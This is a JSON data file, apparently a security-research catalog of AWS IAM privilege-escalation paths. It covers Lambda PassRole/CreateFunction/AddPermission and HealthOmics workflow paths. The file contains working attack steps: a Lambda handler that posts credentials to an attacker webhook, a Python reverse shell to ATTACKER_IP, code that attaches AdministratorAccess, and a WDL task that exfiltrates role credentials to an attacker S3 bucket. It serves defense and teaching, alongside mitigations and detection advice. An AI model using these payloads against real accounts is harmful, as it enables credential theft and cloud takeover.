          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation.\n"
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-25T20:02:03Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-005.yaml"
  },
  {
    "id": "lambda-006",
    "name": "iam:PassRole + lambda:CreateFunction + lambda:AddPermission",
    "category": "new-passrole",
    "services": [
      "iam",
      "lambda"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have permission to pass a privileged role to Lambda service"
        },
        {
          "permission": "lambda:CreateFunction",
          "resourceConstraints": "Must have permission to create Lambda functions"
        },
        {
          "permission": "lambda:AddPermission",
          "resourceConstraints": "Must have permission to modify Lambda function resource-based policies"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions a role has"
        },
        {
          "permission": "lambda:GetFunction",
          "resourceConstraints": "Useful for verifying function creation and configuration"
        },
        {
          "permission": "lambda:GetPolicy",
          "resourceConstraints": "Useful for viewing the function's resource-based policy after adding permissions"
        },
        {
          "permission": "lambda:DeleteFunction",
          "resourceConstraints": "Useful for cleaning up attack artifacts"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:AddPermission` can create a new Lambda function with a privileged execution role and grant themselves permission to invoke it via the resource-based policy. The attacker does not need `lambda:InvokeFunction` as an IAM permission because `lambda:AddPermission` grants invocation rights through the function's resource-based policy. This bypasses IAM permission restrictions and allows the attacker to execute malicious code under the privileged role's credentials, making this attack more resilient than paths that require `lambda:InvokeFunction` in the starting principal's IAM policies.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts lambda.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts lambda.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-roles \\\n  --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.Service, `lambda.amazonaws.com`)].{RoleName:RoleName,Arn:Arn}' \\\n  --output table\n",
          "description": "Discover available roles that trust lambda.amazonaws.com and identify privileged roles"
        },
        {
          "step": 2,
          "command": "cat > lambda_function.py << 'EOF'\nimport boto3\nimport json\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    starting_user = 'ATTACKER_USERNAME'\n\n    try:\n        iam.attach_user_policy(\n            UserName=starting_user,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n        return {\n            'statusCode': 200,\n            'body': json.dumps({\n                'message': 'Successfully attached AdministratorAccess',\n                'user': starting_user\n            })\n        }\n    except Exception as e:\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': str(e)})\n        }\nEOF\n",
          "description": "Create malicious Lambda function code that attaches AdministratorAccess to the starting user"
        },
        {
          "step": 3,
          "command": "zip exploit.zip lambda_function.py",
          "description": "Package the malicious code into a deployment package"
        },
        {
          "step": 4,
          "command": "aws lambda create-function \\\n  --function-name privesc-function \\\n  --runtime python3.11 \\\n  --role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --handler lambda_function.lambda_handler \\\n  --zip-file fileb://exploit.zip \\\n  --timeout 30\n",
          "description": "Create a new Lambda function and pass the privileged role to it as the execution role"
        },
        {
          "step": 5,
          "command": "aws lambda add-permission \\\n  --function-name privesc-function \\\n  --statement-id AllowSelfInvoke \\\n  --action lambda:InvokeFunction \\\n  --principal arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USERNAME\n",
          "description": "Add a resource-based policy statement allowing the starting principal to invoke the function"
        },
        {
          "step": 6,
          "command": "aws lambda invoke \\\n  --function-name privesc-function \\\n  --payload '{}' \\\n  response.json\n",
          "description": "Invoke the Lambda function to execute the malicious code and escalate privileges"
        },
        {
          "step": 7,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify that administrator access has been granted"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run lambda__backdoor_new_roles --arn [YOUR_USER_OR_ROLE_ARN] --role-arn [PRIVILEGED_ROLE]",
          "description": "Use Pacu to create a backdoored Lambda function with the target role. Note that the Pacu payload does require events:PutTargets which is outside the scope of this path."
        },
        {
          "step": 2,
          "command": "run lambda__backdoor_new_roles --cleanup",
          "description": "Call the module in cleanup mode when you are done"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Lambda function need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificLambdaRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"lambda.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Lambda function creation followed by immediate invocation via resource-based policy\n- Monitor CloudTrail for Lambda function creation by principals who do not usually create functions\n- Monitor CloudTrail for roles being passed to Lambda that haven't been used before\n- Monitor and alert on Lambda function creation with privileged roles\n- Regularly audit Lambda functions for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Lambda service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or equivalent custom policies). If only limited roles are available in the environment, you gain access limited to those role's permissions. However, even limited access may enable multi-hop attacks or access to sensitive data stores.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "lambda-001",
        "modification": "Adds lambda:AddPermission to grant self-invocation via resource-based policy instead of requiring lambda:InvokeFunction through IAM policies. This makes the attack more resilient to IAM permission restrictions."
      },
      "ultimateOrigin": {
        "pathId": "lambda-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation \u2013 Methods and Mitigation (Original Research on Lambda PassRole paths)",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS Lambda Privilege Escalation",
        "url": "https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/"
      },
      {
        "title": "Privilege Escalation w/ Cross Account Lambda Invocation (Documents cross-account variant using AddPermission)",
        "url": "https://blog.the1ntern.net/aws/privesc/xacclambdainvoke/"
      }
    ],
    "detectionTools": {
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L287",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L120",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L225"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+lambda-createfunction+lambda-addpermission",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "privesc15",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths (Lambda-PassExistingRoleToNewLambdaThenInvoke scenario)"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "lambda_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS Lambda privilege escalation with PassRole"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs including Lambda privilege escalation scenarios",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:AddPermission` permissions. This principal will create a Lambda function with a privileged role and grant themselves invocation rights via the resource-based policy (using `lambda:AddPermission`). The attacker does not need `lambda:InvokeFunction` as an IAM permission because the resource-based policy grant provides invocation rights. This allows them to invoke the function and gain elevated privileges.\n"
        },
        {
          "id": "lambda_function",
          "label": "New Lambda Function",
          "type": "resource",
          "description": "The newly created Lambda function with malicious code. The function is created with `lambda:CreateFunction` and configured to use a privileged IAM role via `iam:PassRole`. The function code is designed to exfiltrate credentials or perform privileged actions. Unlike simpler PassRole+Lambda attacks, this path uses `lambda:AddPermission` to grant self-invocation rights through the function's resource-based policy, bypassing the need for IAM-level invocation permissions.\n"
        },
        {
          "id": "grant_invocation",
          "label": "Grant Self-Invocation Permission",
          "type": "payload",
          "color": "#99ccff",
          "description": "Using `lambda:AddPermission`, the attacker adds a statement to the Lambda function's resource-based policy that explicitly grants their principal permission to invoke the function. This step is what makes this attack path unique - it bypasses IAM permission restrictions by using the function's resource-based policy instead. The resource-based policy acts as a secondary authorization mechanism that allows the attacker to invoke the function even if their IAM policies don't include `lambda:InvokeFunction`.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the lambda Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Lambda function during creation. This role must trust lambda.amazonaws.com as a principal in its trust policy. When the Lambda function is invoked, it executes with this role's permissions. The temporary credentials for this role are automatically available to the function code through environment variables.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the target role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the target role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    # Attach admin policy to starting user\n    iam.attach_user_policy(\n        UserName='attacker-user',\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'statusCode': 200, 'body': 'Privilege escalation complete'}\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using the target role's permissions.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the target role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access. From within the reverse shell, the attacker can access the target role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the target role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by using the credentials or results from the Lambda function execution.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB) or the ability to pursue additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the privilege escalation may not provide meaningful additional access to the attacker.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "iam:PassRole + lambda:CreateFunction",
          "description": "The attacker creates a new Lambda function and passes a privileged role to it. The function is created with malicious code (typically in a ZIP file) that will execute when invoked.\n\nCommands:\n```bash\ncat > lambda_function.py << 'EOF'\nimport boto3\nimport json\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    starting_user = 'ATTACKER_USERNAME'\n\n    try:\n        iam.attach_user_policy(\n            UserName=starting_user,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n        return {\n            'statusCode': 200,\n            'body': json.dumps({\n                'message': 'Successfully attached AdministratorAccess',\n                'user': starting_user\n            })\n        }\n    except Exception as e:\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': str(e)})\n        }\nEOF\n\nzip exploit.zip lambda_function.py\n\naws lambda create-function \\\n  --function-name privesc-function \\\n  --runtime python3.11 \\\n  --role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --handler lambda_function.lambda_handler \\\n  --zip-file fileb://exploit.zip \\\n  --timeout 30\n```\n\nThe exploit.zip contains code to exfiltrate credentials or perform privileged actions.\n"
        },
        {
          "from": "lambda_function",
          "to": "grant_invocation",
          "label": "lambda:AddPermission",
          "description": "The attacker uses `lambda:AddPermission` to add a statement to the Lambda function's resource-based policy that grants their principal permission to invoke the function. This is the critical step that differentiates this attack path from simpler PassRole+Lambda attacks.\n\nCommand:\n```bash\naws lambda add-permission \\\n  --function-name privesc-function \\\n  --statement-id AllowSelfInvoke \\\n  --action lambda:InvokeFunction \\\n  --principal arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USERNAME\n```\n\nThis bypasses IAM permission restrictions by using the function's resource-based policy as a secondary authorization mechanism. Even if the attacker's IAM policies don't include `lambda:InvokeFunction` broadly, this resource-based policy statement allows them to invoke this specific function.\n"
        },
        {
          "from": "grant_invocation",
          "to": "target_role",
          "label": "lambda:InvokeFunction (function assumes role)",
          "description": "The attacker invokes the Lambda function, which causes the Lambda service to automatically assume the target role on behalf of the function. The function code then executes with all the permissions granted to this role.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name privesc-function \\\n  --payload '{}' \\\n  response.json\n```\n\nThe invocation is authorized by the resource-based policy statement added in the previous step. When the function executes, it runs with the target role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The attacker designed the malicious Lambda function code to use the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using the target role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker designed the malicious Lambda function code to retrieve the target role's temporary credentials and exfiltrate them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "branch": "C",
          "description": "The attacker designed the malicious Lambda function code to establish a reverse shell connection back to an attacker-controlled listener, providing interactive access with the target role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation.\n"
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-25T20:02:03Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-006.yaml"
  },
  {
    "id": "omics-001",
    "name": "iam:PassRole + omics:CreateWorkflow + omics:StartRun",
    "category": "new-passrole",
    "services": [
      "iam",
      "omics",
      "s3"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM execution role to the HealthOmics service"
        },
        {
          "permission": "omics:CreateWorkflow",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "omics:StartRun",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "s3:GetObject",
          "resourceConstraints": "Must be able to read the exfiltrated credentials from the attacker-controlled S3 bucket after the workflow completes"
        }
      ],
      "additional": [
        {
          "permission": "omics:GetWorkflow",
          "resourceConstraints": "Useful for polling workflow creation status"
        },
        {
          "permission": "omics:GetRun",
          "resourceConstraints": "Useful for monitoring run status and confirming execution"
        },
        {
          "permission": "omics:ListRuns",
          "resourceConstraints": "Helpful for discovering existing runs"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `omics:CreateWorkflow`, and `omics:StartRun` can escalate privileges by creating an AWS HealthOmics WDL workflow containing a task that exfiltrates the execution role's temporary credentials to an attacker-controlled S3 bucket. The attacker starts a run passing an admin execution role, waits for the workflow to complete, retrieves the exfiltrated credentials from S3, and uses them to directly call `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. Note that HealthOmics workflow tasks have network isolation from the public internet but do have access to S3, making credential exfiltration via S3 the standard technique.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts omics.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An attacker-controlled S3 bucket must be accessible from the HealthOmics task execution environment (the execution role must have s3:PutObject on the bucket)",
        "A private ECR repository must contain a container image suitable for running AWS CLI commands (HealthOmics requires private ECR images, not public Docker Hub images)"
      ],
      "lateral": [
        "A role must exist that trusts omics.amazonaws.com and has elevated permissions",
        "An attacker-controlled S3 bucket must be accessible from the HealthOmics execution environment"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "cat > /tmp/exploit.wdl << 'EOF'\nversion 1.0\nworkflow ExfilWorkflow {\n  input {\n    String s3_bucket\n    String s3_key\n  }\n  call ExfilTask {\n    input: s3_bucket = s3_bucket, s3_key = s3_key\n  }\n}\n\ntask ExfilTask {\n  input {\n    String s3_bucket\n    String s3_key\n  }\n  command <<<\n    # HealthOmics injects credentials via the container credential provider\n    curl -s http://169.254.170.23/v1/credentials > /tmp/creds.json\n    aws s3 cp /tmp/creds.json \"s3://~{s3_bucket}/~{s3_key}\"\n  >>>\n  runtime {\n    docker: \"ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/aws-cli:latest\"\n    memory: \"4 GB\"\n    cpu: 1\n  }\n}\nEOF\n\nzip /tmp/workflow.zip /tmp/exploit.wdl\naws s3 cp /tmp/workflow.zip s3://WORKFLOW_BUCKET/workflow.zip\n",
          "description": "Create a WDL workflow definition that exfiltrates execution role credentials to S3 using the HealthOmics container credential provider endpoint. HealthOmics tasks cannot reach the public internet but do have S3 access."
        },
        {
          "step": 2,
          "command": "aws omics create-workflow \\\n  --name privesc-workflow \\\n  --definition-zip fileb:///tmp/workflow.zip \\\n  --engine WDL \\\n  --parameter-template '{\n    \"s3_bucket\": {\"description\": \"S3 bucket for credential exfiltration\"},\n    \"s3_key\": {\"description\": \"S3 key for credential output\"}\n  }'\n",
          "description": "Create the HealthOmics workflow from the WDL definition zip file."
        },
        {
          "step": 3,
          "command": "aws omics start-run \\\n  --workflow-id WORKFLOW_ID \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --name privesc-run \\\n  --parameters '{\n    \"s3_bucket\": \"ATTACKER_BUCKET\",\n    \"s3_key\": \"exfil/creds.json\"\n  }' \\\n  --output-uri s3://WORKFLOW_BUCKET/output/ \\\n  --storage-capacity 100\n",
          "description": "Start the workflow run, passing the admin execution role via iam:PassRole. HealthOmics provisions the container and runs the WDL task, which exfiltrates the execution role's credentials to the attacker S3 bucket."
        },
        {
          "step": 4,
          "command": "aws omics get-run \\\n  --id RUN_ID \\\n  --query 'status' \\\n  --output text\n",
          "description": "Poll run status until COMPLETED, then retrieve the exfiltrated credentials from S3."
        },
        {
          "step": 5,
          "command": "aws s3 cp s3://ATTACKER_BUCKET/exfil/creds.json /tmp/admin-creds.json\n\nAWS_ACCESS_KEY_ID=$(jq -r '.AccessKeyId' /tmp/admin-creds.json) \\\nAWS_SECRET_ACCESS_KEY=$(jq -r '.SecretAccessKey' /tmp/admin-creds.json) \\\nAWS_SESSION_TOKEN=$(jq -r '.Token' /tmp/admin-creds.json) \\\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n",
          "description": "Retrieve the exfiltrated execution role credentials from S3 and use them directly to call iam:AttachUserPolicy, attaching AdministratorAccess to the starting user."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative HealthOmics execution roles** - Genomics workflow tasks rarely need administrative IAM access. Scope execution roles to only the S3 buckets, ECR repositories, and reference stores the workflow legitimately requires.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificOmicsRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"omics.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Control S3 bucket access from HealthOmics execution roles** - The credential exfiltration technique depends on the execution role having `s3:PutObject` on an attacker-controlled bucket. Restrict execution role S3 access to specific known-good bucket ARNs.\n- Monitor CloudTrail for unusual HealthOmics workflow creation followed by run starts with privileged roles\n- Monitor CloudTrail for HealthOmics runs by principals who do not usually start genomics workflows\n- Monitor CloudTrail for roles being passed to HealthOmics that haven't been used before\n- Alert on S3 